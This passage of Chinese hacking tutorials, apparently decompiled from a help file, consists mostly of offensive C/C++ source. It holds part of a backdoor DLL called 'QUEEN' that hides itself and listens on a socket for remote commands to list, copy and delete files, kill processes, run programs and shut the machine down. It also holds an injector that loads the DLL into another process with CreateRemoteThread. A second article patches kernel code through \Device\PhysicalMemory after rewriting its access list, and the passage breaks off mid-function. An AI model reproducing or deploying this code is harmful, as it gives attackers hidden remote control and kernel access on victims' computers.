wsprintf(szFileName,"%-20s %10lu
        ARCHIVE\n\r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
send(NewSock,szFileName,lstrlen(szFileName),0);
continue;
}
}
while(FindNextFile(hHandle,&wfd));
}
else
{
wsprintf(szFileName,"Can not find directory or files.\n\r");
send(NewSock,szFileName,lstrlen(szFileName),0);
}
}

file://---------------------------------------------------------------------------
// FileOpertion
// 文件操作函数
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
BOOL WINAPI
        FileOpertion(LPCTSTR szFileName1,LPCTSTR szFileName2,DWORD opt)
{
SHFILEOPSTRUCT shf;
TCHAR sr[MAX_PATH];
TCHAR de[MAX_PATH];
lstrcpy(sr,szFileName1);
sr[lstrlen(sr)+1]=‘\0‘;
lstrcpy(de,szFileName2);
de[lstrlen(de)+1]=‘\0‘;
ZeroMemory(&shf,sizeof(shf));
shf.hwnd=NULL;
shf.wFunc=opt;
shf.pFrom=sr;
shf.pTo=de;
shf.fFlags=FOF_ALLOWUNDO|FOF_SILENT|FOF_FILESONLY|FOF_MULTIDESTFILES
|FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR;
if(SHFileOperation(&shf))
return FALSE;
else
return
        TRUE;
}
file://---------------------------------------------------------------------------
// Delete
// 删除文件(隐藏,只读),目录,支持统配符
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID WINAPI Delete(LPCTSTR
        lParam)
{
if(!FileOpertion(lParam,"",FO_DELETE))
send(NewSock,"Delete File is Fail",20,0);
else
send(NewSock,"Delete File is OK",18,0);
}
file://---------------------------------------------------------------------------
// Copy
// 复制,上传,下载文件(需先将自己硬盘设置为完全共享),支持统配符
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID WINAPI Copy(LPCTSTR
        lParam1,LPCTSTR lParam2)
{
if(!FileOpertion(lParam1,lParam2,FO_COPY))
send(NewSock,"Copy
        File is Fail",18,0);
else
send(NewSock,"Copy File is OK",16,0);
}
file://---------------------------------------------------------------------------
// Ren
// 文件,目录重命名
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID WINAPI Ren(LPCTSTR
        lParam1,LPCTSTR lParam2)
{
if(!FileOpertion(lParam1,lParam2,FO_RENAME))
send(NewSock,"Renname File is Fail",21,0);
else
send(NewSock,"Reanme File is OK",18,0);
}
file://---------------------------------------------------------------------------
// GetSysInfo
// 获取系统信息
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID WINAPI GetSysInfo()
{
TCHAR szBuff[MAX_PATH];
TCHAR szTemp[MAX_PATH];

wsprintf(szBuff,"\n\n\r >\n\n\r");
send(NewSock,szBuff,lstrlen(szBuff),0);
file://计算机名
DWORD
        len=sizeof(szTemp);
GetComputerName(szTemp,&len);
wsprintf(szBuff,"Computer Name: %s\n\n\r",szTemp);
send(NewSock,szBuff,lstrlen(szBuff),0);
file://当前操作系统
switch(GetOS())
{
case VER_PLATFORM_WIN32_WINDOWS:
lstrcpy(szTemp,"Windows 9x");
break;
case
        VER_PLATFORM_WIN32_NT:
lstrcpy(szTemp,"Windows NT/2000");
break;
}
wsprintf(szBuff,"Option System: %s\n\n\r",szTemp);
send(NewSock,szBuff,lstrlen(szBuff),0);
file://内存容量
MEMORYSTATUS mem;
mem.dwLength=sizeof(mem);
GlobalMemoryStatus(&mem);
wsprintf(szBuff,"Total Memroy:
        %dM\n\n\r",mem.dwTotalPhys/1024/1024+1);
send(NewSock,szBuff,lstrlen(szBuff),0);
file://系统目录
TCHAR
        szPath[MAX_PATH];
GetWindowsDirectory(szTemp,sizeof(szTemp));
GetSystemDirectory(szBuff,sizeof(szBuff));
wsprintf(szPath,"Windows Directory: %s\n\n\rSystem Directory:
        %s\n\n\r",szTemp,szBuff);
send(NewSock,szPath,lstrlen(szPath),0);
file://驱动器及分区类型
TCHAR szFileSys[10];
for(int i=0;i {
wsprintf(szTemp,"%c:\\",‘A‘+i);
UINT uType=GetDriveType(szTemp);
switch(uType)
{
case DRIVE_FIXED:
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
wsprintf(szBuff,"Hard Disk: %s (%s)\n\n\r",szTemp,szFileSys);
send(NewSock,szBuff,lstrlen(szBuff),0);
break;
case
        DRIVE_CDROM:
wsprintf(szBuff,"CD-ROM Disk: %s\n\n\r",szTemp);
send(NewSock,szBuff,lstrlen(szBuff),0);
break;
case
        DRIVE_REMOTE:
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
wsprintf(szBuff,"NetWork Disk: %s (%s)\n\n\r",szTemp,szFileSys);
send(NewSock,szBuff,lstrlen(szBuff),0);
break;
}
}
}
file://---------------------------------------------------------------------------
// ExitWin
// 关闭计算机(WIN 9X,NT/2000)
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID WINAPI ExitWin()
{
DWORD dwVer;
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES
        NewState;
DWORD ProcessId, ReturnLength = 0;
LUID
        luidPrivilegeLUID;
dwVer=GetOS();
if(dwVer==VER_PLATFORM_WIN32_WINDOWS)
ExitWindowsEx(1,0);
else if(dwVer==VER_PLATFORM_WIN32_NT)
{
ProcessId =
        GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
        FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
file://LookupPrivilegevalue(NULL,
        SE_SHUTDOWN_NAME, &luidPrivilegeLUID);
NewState.PrivilegeCount =
        1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL,
        NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF,0);
}
}
file://---------------------------------------------------------------------------
// ChangeDir
// 改变当前目录
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
BOOL WINAPI ChangeDir(LPCTSTR
        szDir)
{
if(SetCurrentDirectory(szDir))
return TRUE;
else
return FALSE;
}
file://---------------------------------------------------------------------------
// GetCurPath
// 得到当前目录
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID WINAPI GetCurPath()
{
TCHAR lpBuff[MAX_PATH];
TCHAR szTemp[MAX_PATH];
GetCurrentDirectory(MAX_PATH,lpBuff);
wsprintf(szTemp,"CurrentDirect: %s\n\r",lpBuff);
send(NewSock,szTemp,lstrlen(szTemp),0);
}
file://---------------------------------------------------------------------------
// ExeCommand
// 执行命令
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
VOID ExeCommand(LPSTR
        szCommand,HWND hWnd)
{
TCHAR szBuf[MAX_PATH];
TCHAR
        Param1[100];
TCHAR Param2[100];
double PidArray[5],pid;
int
        i;
if((lstrcmp(szCommand,"getinfo"))==0)
GetSysInfo();
else
        if((lstrcmp(szCommand,"gcpath"))==0)
GetCurPath();
else
        if((lstrcmp(szCommand,"enumps"))==0)
EnumProcess();
else
        if((lstrcmp(szCommand,"exitwin"))==0)
ExitWin();
else
        if((strncmp(szCommand,"killps",lstrlen("killps")))==0)
{
if(lstrlen(szCommand) {
send(NewSock,"usage : killps PID",12,0);
}
for(i=lstrlen("killps")+1;i if(szCommand==‘\0‘)
break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("killps")+1);
int
        e=lstrlen(szCommand)-lstrlen("killps")-1;
for(int bit=0;bit {
PidArray[bit]=(DWORD)Param1[bit]-48;
pid+=PidArray[bit]*pow(10,--e);
}
if(KillPS(pid)==FALSE)
send(NewSock,"killps Fail",12,0);
else
send(NewSock,"killps
        OK",10,0);
}
}
else
        if((strncmp(szCommand,"execfile",lstrlen("execfile")))==0)
{
if(lstrlen(szCommand) {
send(NewSock,"usage : execfile
        szFileName",28,0);
}
for(i=lstrlen("execfile")+1;i
        if(szCommand==‘\0‘)break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("execfile")+1);
if(LoadProcess(Param1)==FALSE)
send(NewSock,"execfile
        Fail",14,0);
else
send(NewSock,"execfile OK",11,0);
}
}
else if((strncmp(szCommand,"cd",lstrlen("cd")))==0)
{
if(lstrlen(szCommand) {
send(NewSock,"cd
        Drive\\Directory",19,0);
}
for(i=lstrlen("cd")+1;i
        if(szCommand==‘\0‘)break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("cd")+1);
if(ChangeDir(Param1)==FALSE)
send(NewSock,"Change Directory
        Fail",21,0);
else
send(NewSock,"Change Directory OK",19,0);
}
}
else if((strncmp(szCommand,"dir",lstrlen("dir")))==0)
{
if(lstrlen(szCommand) {
Dir("*.*");
}
for(i=lstrlen("dir")+1;i if(szCommand==‘\0‘)break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("dir")+1);
Dir(Param1);
}
}
else if((strncmp(szCommand,"del",lstrlen("del")))==0)
{
if(lstrlen(szCommand) {
send(NewSock,"usage : DEL
        szFileName",28,0);
}
for(i=lstrlen("del")+1;i
        if(szCommand==‘\0‘)break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("del")+1);
Delete(Param1);
}
}
else if((strncmp(szCommand,"copy",lstrlen("copy")))==0)
{
if(lstrlen(szCommand) {
send(NewSock,"usage : COPY
        Drive\\Filename ",28,0);
return;
}
for(i=lstrlen("copy")+1;i
        if(szCommand==‘\0‘)break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("copy")+1);
lstrcpy(Param2,"");
send(NewSock,"Copy File1 to File2",19,0);
}
else
{
lstrcpy(szBuf,szCommand);
szBuf[i]=‘0‘;
lstrcpy(Param1,szBuf+lstrlen("copy")+1);
lstrcpy(Param2,szBuf+i+1);
Copy(Param1,Param2);
}
}
else if((strncmp(szCommand,"ren",lstrlen("ren")))==0)
{
if(lstrlen(szCommand) {
send(NewSock,"usage : REN
        Drive\\Filename ",28,0);
return;
}
for(i=lstrlen("ren")+1;i
        if(szCommand==‘\0‘)break;
if(i==lstrlen(szCommand))
{
lstrcpy(Param1,szCommand+lstrlen("ren")+1);
lstrcpy(Param2,"");
send(NewSock,"Ren File1 to File2",19,0);
}
else
{
lstrcpy(szBuf,szCommand);
szBuf[i]=‘0‘;
lstrcpy(Param1,szBuf+lstrlen("ren")+1);
lstrcpy(Param2,szBuf+i+1);
Ren(Param1,Param2);
}
}
else
send(NewSock,"Bad Command !!!",16,0);
}
file://---------------------------------------------------------------------------
// InitSocket
// 初始化SOCKET
file://--------------------------------------------------------------------------
extern "C" __declspec(dllexport)
BOOL WINAPI InitSocket(HWND
        hWnd)
{
if((WSAStartup(dwVersion,&wsaData))!=0)
{
MessageBox(hWnd,"INIT SOCKET ERROR",NULL,MB_OK);
return FALSE;
}
CreateSock=socket(AF_INET,SOCK_STREAM,0);//用来创建一个套接字,成功返回新套接字的描述字
if(CreateSock==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,"SOCKET ERROR",NULL,MB_OK);
return FALSE;
}
Sock_in.sin_family=AF_INET;
Sock_in.sin_port=htons(PORT);
Sock_in.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
setsockopt(CreateSock,SOL_SOCKET,SO_REUSEADDR,(LPSTR)&dwFlag,sizeof(dwFlag));
if(bind(CreateSock,(LPSOCKADDR)&Sock_in,sizeof(Sock_in))==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,"BIND
        ERROR",NULL,MB_OK);
return FALSE;
}
else
        if(listen(CreateSock,3)==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,"LISTEN
        ERROR",NULL,MB_OK);
return FALSE;
}
else
        if(WSAAsyncSelect(CreateSock,hWnd,WM_SOCKET,FD_ACCEPT|FD_CLOSE)==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,"WSASelect
        ERROR",NULL,MB_OK);
return FALSE;
}
addrlen=sizeof(SOCKADDR_IN);

return TRUE;
}
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
LRESULT CALLBACK WndProc(HWND
        hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{
static TCHAR
        szCommand[dwComm];
static TCHAR szExec[dwComm];
switch(message)
{
case WM_SOCKET:
if(WSAGETSELECTERROR(lParam))
{
closesocket(wParam);
break;
}
switch(WSAGETSELECTEVENT(lParam))
{
file://连接
case
        FD_ACCEPT:
NewSock=accept(CreateSock,(LPSOCKADDR)&NewSock_in,&addrlen);
WSAAsyncSelect(NewSock,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE);
wsprintf(szCommand,"QUEEN Ver 0.5beat Write by
        NOIR\n\n\r%s",PROMPT);
send(NewSock,szCommand,dwComm,0);
break;
file://读取输入，如是回车则执行命令
file://不是将输入复制到缓冲区
case FD_READ:
ZeroMemory(szCommand,dwComm);
recv(NewSock,szCommand,dwComm,0);
if(szCommand[0]==VK_RETURN)
{
wsprintf(szCommand,"\n\n\r%s",PROMPT);
send(NewSock,szCommand,dwComm,0);
ExeCommand(szExec,hWnd);
ZeroMemory(szExec,dwComm);
}
else
lstrcat(szExec,szCommand);
send(NewSock,szCommand,dwComm,0);
break;
case FD_CLOSE:
closesocket(wParam);
break;
}
break;
case WM_DESTROY:
HideProc(UNSERVICE_PROC);
PostQuitMessage(0);
break;
default:
return
        DefWindowProc(hWnd,message,wParam,lParam);
}
return 0;
}
file://---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
WINAPI WinMain(HINSTANCE ,
        HINSTANCE, LPSTR, int)
{
HWND hWnd;
MSG msg;
WNDCLASS
        wndc;
LPSTR szAppName="QUEEN";
HKEY hKey=0;
DWORD disp=0;
LONG lResult;
TCHAR szKey[MAX_PATH];
TCHAR
        szSysDir[MAX_PATH+25];
TCHAR szFileName[MAX_PATH];

wndc.style=0;
wndc.lpfnWndProc=WndProc;
wndc.cbClsExtra=0;
wndc.cbWndExtra=0;
wndc.hInstance=NULL;
wndc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wndc.hCursor=LoadCursor(NULL,IDC_ARROW);
wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
wndc.lpszMenuName=NULL;
wndc.lpszClassName=szAppName;
RegisterClass(&wndc);
hWnd=CreateWindow(szAppName,"QUEENServer",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,NULL,NULL);
ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);
if(GetOS()==VER_PLATFORM_WIN32_WINDOWS)
{
HideProc(SERVICE_PROC);
}
InitSocket(hWnd);
file://复制文件到系统目录
file://并加载注册表,自动运行

while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (msg.wParam);
}
file://---------------------------------------------------------------------------------
DWORD WINAPI start(LPVOID not)
{
HANDLE
        hinst=GetCurrentProcess();//或用HMODULE GetModuleHandle()
LPSTR
        lpCmdLine=GetCommandLine();
WinMain(hinst,//当前的实例句柄
NULL,//总为NULL
lpCmdLine,//命令行参数,由GetCommandLine()得到
SW_SHOW);//窗口显示方式
}
file://---------------------------------------------------------------------------------
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID
        lpvReserved)
{    char   *szprocessid=new
        char[10];
DWORD  hthreadid;
HANDLE hthread;
switch(fwdreason)
{
case DLL_PROCESS_ATTACH:
hthread=CreateThread(NULL,0,start,(LPVOID)1,0,&hthreadid);
break;
default:
break;
}
return(TRUE);
return 1;
}
file://---------------------------------------------------------------------------

file://--------------------------------------------------------------------------------------------------
然后是加载DLL的代码：
#pragma hdrstop
#include
#include
file://---------------------------------------------------------------------------
#pragma argsused
void
        EnableDebugPriv();//提升应用级调试权限,此处为EnableDebugPriv()函数的声明
file://---------------------------------------------------------------------------------------
int main(int argc, char* argv[])
{
int pid;
char
        *pszLibFileName="test.dll";//把DLL拷到SYSTEM32目录下
printf("please enter
        the inject pid:\n");
scanf("%d",&pid);
HANDLE
        hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
int cb =
        (1 + lstrlenA(pszLibFileName)) * sizeof(char);
char
        *pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, cb,
        MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hRemoteProcess,
        pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
PTHREAD_START_ROUTINE pfnStartAddr =
        (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),
        "LoadLibraryA");
CreateRemoteThread( hRemoteProcess, NULL, 0,
        pfnStartAddr, pszLibFileRemote, 0, NULL);
return 0;
}
file://----------------------------------------------------------------------------------------
file://提升权限
void EnableDebugPriv( void )
{
HANDLE
        hToken;
LUID sedebugnamevalue;
TOKEN_PRIVILEGES tkp;
if ( !
        OpenProcessToken( GetCurrentProcess(),//返回当前进程的伪句柄
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,//要求改变访问信令中指定的权限
file://要求查寻访问信令的内容
&hToken ) )//当函数返回时,该参数标识新打开的访问信令
return;
if ( ! LookupPrivilegeValue( NULL,//函数试图查找局部系统上的权限名称
SE_DEBUG_NAME,//要求调试一个进程的权限
&sedebugnamevalue ) )
{
CloseHandle( hToken );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnamevalue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//允许权限
if (
        ! AdjustTokenPrivileges( hToken,//标识访问信令
FALSE,//为FALSE,则根剧tkp指像的信息修改权限
&tkp,
sizeof tkp,
NULL,
NULL ) )
CloseHandle( hToken );
}
file://---------------------------------------------------------------------------

This file is decompiled by an
        unregistered version of ChmDecompiler.
Regsitered version does not
        show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


无驱动执行Ring0代码

文章作者：zzzEVAzzz
//************************************************************************
// Ring0Demo.c v1.0 by zzzEVAzzz
// 目的：演示无驱动执行Ring0代码。
//
        原理：通过\Device\PhysicalMemory修改NtVdmControl入口，跳转到Ring0Code
//************************************************************************
#include <Windows.h>
#include <Ntsecapi.h>
#include <Aclapi.h>
#pragma comment (lib,"ntdll.lib") // Copy From DDK
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")
//------------------ 数据类型声明开始
        --------------------//
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID
        Base;
ULONG Size;
ULONG
        Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION,
        *PSYSTEM_MODULE_INFORMATION;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE
        RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID
        SecurityDescriptor;
PVOID
        SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef struct _MY_PROCESS_INFO {
ULONG PID;
ULONG KPEB;
ULONG CR3;
CHAR Name[16];
ULONG Reserved;
} MY_PROCESS_INFO,
        *PMY_PROCESS_INFO;
typedef long NTSTATUS;
//------------------ 数据类型声明结束 --------------------//
//--------------------- 预定义开始 -----------------------//
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS 0x00000000
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_NOT_IMPLEMENTED 0xC0000002
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_INVALID_PARAMETER 0xC000000D
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define OBJ_KERNEL_HANDLE 0x00000200
#define SystemModuleInformation 11
#define InitializeObjectAttributes( p, n, a, r, s ) { \ /* 注意，由于php标签过滤，以下6行缺少续行符\ */
(p)->Length = sizeof( OBJECT_ATTRIBUTES );
(p)->RootDirectory = r;
(p)->Attributes = a;
(p)->ObjectName = n;
(p)->SecurityDescriptor = s;
(p)->SecurityQualityOfService = NULL;
}
//--------------------- 预定义结束 -----------------------//
//------------------ Native API声明开始 ------------------//
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect
);
NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
IN HANDLE Handle
);
NTSYSAPI
NTSTATUS
NTAPI
NtVdmControl(
IN ULONG ControlCode,
IN PVOID ControlData
);
//------------------ Native API声明结束 ------------------//
//------------------ 全局变量定义开始 --------------------//
NTSTATUS
(NTAPI *pfnNtVdmControl)(
IN ULONG ControlCode,
IN PVOID ControlData
);
BOOLEAN
(NTAPI *pfnPsGetVersion)(
PULONG MajorVersion OPTIONAL,
PULONG MinorVersion OPTIONAL,
PULONG BuildNumber OPTIONAL,
PUNICODE_STRING CSDVersion OPTIONAL
);
HANDLE
(NTAPI *pfnPsGetCurrentProcessId)(
);
PVOID
(NTAPI *pfnMemcpy)(
IN VOID UNALIGNED *Destination,
IN CONST VOID UNALIGNED *Source,
IN SIZE_T Length
);
ULONG
(_cdecl *pfnDbgPrint)(
IN PCHAR Format,
...
);
ULONG *pPsInitialSystemProcess;
//------------------ 全局变量定义结束 --------------------//
// 获取指定模块的基址
PVOID GetModuleBase(PCSTR
        name)
{
NTSTATUS status;
PVOID pBuffer, pModule;
ULONG nRetSize, i, n;
PSYSTEM_MODULE_INFORMATION
        pmi;
    pBuffer = LocalAlloc(LPTR,
        0x1000);
if (NULL == pBuffer)
{
printf("LocalAlloc[0] Failed: %d\n", GetLastError());
return NULL;
}
    status =
        ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000,
        &nRetSize);
if (STATUS_INFO_LENGTH_MISMATCH
        == status)
{
// 缓冲区太小，重新分配
LocalFree(pBuffer);
pBuffer =
        LocalAlloc(LPTR, nRetSize);
if (NULL == pBuffer)
{
printf("LocalAlloc[1] Failed: %d\n", GetLastError());
return NULL;
}
status =
        ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize,
        &nRetSize);
}
if
        (!NT_SUCCESS(status))
{
printf("ZwQuerySystemInformation Failed: %d\n",
        LsaNtStatusToWinError(status));
LocalFree(pBuffer);
return NULL;
}
    pmi =
        (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4);
n = *(ULONG*)pBuffer;
pModule = NULL;
    // 搜索指定的模块名，获取基址
for (i=0; i<n; i++)
{
if
        (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name))
{
pModule = pmi->Base;
break;
}
pmi++;
}
LocalFree(pBuffer);
return pModule;
}
// 获取\Device\PhysicalMemory的可读写句柄
HANDLE OpenPhysicalMemory()
{
DWORD
        dwRet;
NTSTATUS status;
UNICODE_STRING name;
OBJECT_ATTRIBUTES oa;
EXPLICIT_ACCESS ea;
PSECURITY_DESCRIPTOR pSD;
PACL pDacl = NULL;
PACL pNewDacl = NULL;
HANDLE hSection = NULL;
HANDLE hSectionRet =
        NULL;
RtlInitUnicodeString(&name, L"\\Device\\PhysicalMemory");
InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);
// 以可读写Section权限打开PhysicalMemory
status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功，直接返回
    if (status !=
        STATUS_ACCESS_DENIED)
{
// 错误，但非权限不足，打开失败
printf("ZwOpenSection[0]
        Failed: %d\n", LsaNtStatusToWinError(status));
hSectionRet = NULL;
goto FreeAndExit;
}
// 以可读写ACL权限打开PhysicalMemory
status = ZwOpenSection(&hSection,
        READ_CONTROL | WRITE_DAC, &oa);
if
        (!NT_SUCCESS(status))
{
printf("ZwOpenSection[1]
        Failed: %d\n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
    // 获取PhysicalMemory的DACL
dwRet = GetSecurityInfo(hSection,
        SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
NULL, NULL, &pDacl,
        NULL, &pSD);
if (dwRet != ERROR_SUCCESS)
{
printf("GetSecurityInfo Failed: %d\n", dwRet);
goto FreeAndExit;
}
    //
        创建一个ACE，允许当前用户读写PhysicalMemory
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
    // 将新的ACE加入DACL
dwRet = SetEntriesInAcl(1, &ea, pDacl,
        &pNewDacl);
if (dwRet != ERROR_SUCCESS)
{
printf("SetEntriesInAcl Failed: %d\n", dwRet);
goto FreeAndExit;
}
    // 更新PhysicalMemory的DACL
dwRet = SetSecurityInfo(hSection,
        SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
NULL, NULL, pNewDacl,
        NULL);
if (dwRet != ERROR_SUCCESS)
{
printf("SetSecurityInfo Failed: %d\n", dwRet);
goto FreeAndExit;
}
    // 再次以可读写权限打开PhysicalMemory
status = ZwOpenSection(&hSectionRet,
        SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
if (!NT_SUCCESS(status))
{
printf("ZwOpenSection[2]
        Failed: %d\n", LsaNtStatusToWinError(status));
goto FreeAndExit;
}
FreeAndExit:
if (pSD)
        LocalFree(pSD);
if (pNewDacl)
        LocalFree(pNewDacl);
if (hSection)
        ZwClose(hSection);
return hSectionRet;
}

// 将物理内存映射到当前进程的用户空间
PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄
ULONG Offset, // 映射起始偏移量，相对于物理内存的0地址
ULONG CommitSize // 映射范围
)
{
NTSTATUS status;
PVOID BaseAddress = NULL;
LARGE_INTEGER PhysicalAddress = {Offset, 0};
SIZE_T ViewSize = CommitSize;
    status =
        ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,
CommitSize,
        &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);
if (!NT_SUCCESS(status))
{
printf("ZwMapViewOfSection Failed: %d\n",
        LsaNtStatusToWinError(status));
return NULL;
}
return BaseAddress;
}
//
        在Ring0执行的代码。这里演示如何获取每个进程的PID、KPEB、CR3和ImageName
NTSTATUS
        Ring0Code(ULONG size,      // 缓冲区大小
PULONG buffer)   // 缓冲区指针，指向调用者分配的缓存
// 参数个数与NtVdmControl一致，以平衡堆栈
{
ULONG
        BuildNumber;
ULONG ListOffset;
ULONG PIDOffset;
ULONG
        NameOffset;
PLIST_ENTRY ListHead, ListPtr;
PMY_PROCESS_INFO mypi;
pfnDbgPrint("Run in Ring0!\n"); // 输出调试信息
pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL);
pfnDbgPrint("BuildNumber = %d\n", BuildNumber);
    switch
        (BuildNumber)    // 各版本OS的KPEB结构不同
{
case 2195:  //
        Win2000
ListOffset = 0xa0;
PIDOffset = 0x9c;
NameOffset = 0x1fc;
break;
case 2600:
        // WinXP
ListOffset = 0x88;
PIDOffset = 0x84;
NameOffset = 0x174;
break;
case 3790:
        // Win2003
ListOffset = 0x88;
PIDOffset = 0x84;
NameOffset = 0x154;
break;
default:
return STATUS_NOT_IMPLEMENTED;
}
    if (size<4) return
        STATUS_BUFFER_TOO_SMALL;
size -= 4;
if (NULL == buffer) return STATUS_INVALID_PARAMETER;
*buffer = 0L; // 缓存的第一个ULONG用于保存进程总数
mypi = (PMY_PROCESS_INFO)(buffer + 1);
    // 历遍ActiveProcessLinks
ListHead = ListPtr =
        (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset);
while (ListPtr->Flink != ListHead)
{
if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL;
        mypi->KPEB = (ULONG)ListPtr - ListOffset;
mypi->PID =
        *(ULONG*)(mypi->KPEB + PIDOffset);
mypi->CR3 =
        *(ULONG*)(mypi->KPEB + 0x18);
pfnMemcpy(mypi->Name,
        (PVOID)(mypi->KPEB + NameOffset), 16);
        (*buffer)++;
mypi++;
size -=
        sizeof(MY_PROCESS_INFO);
ListPtr = ListPtr->Flink;
}
return STATUS_SUCCESS;
}
// 显示进程信息
void ListProcessInfo(PULONG
        buffer)
{
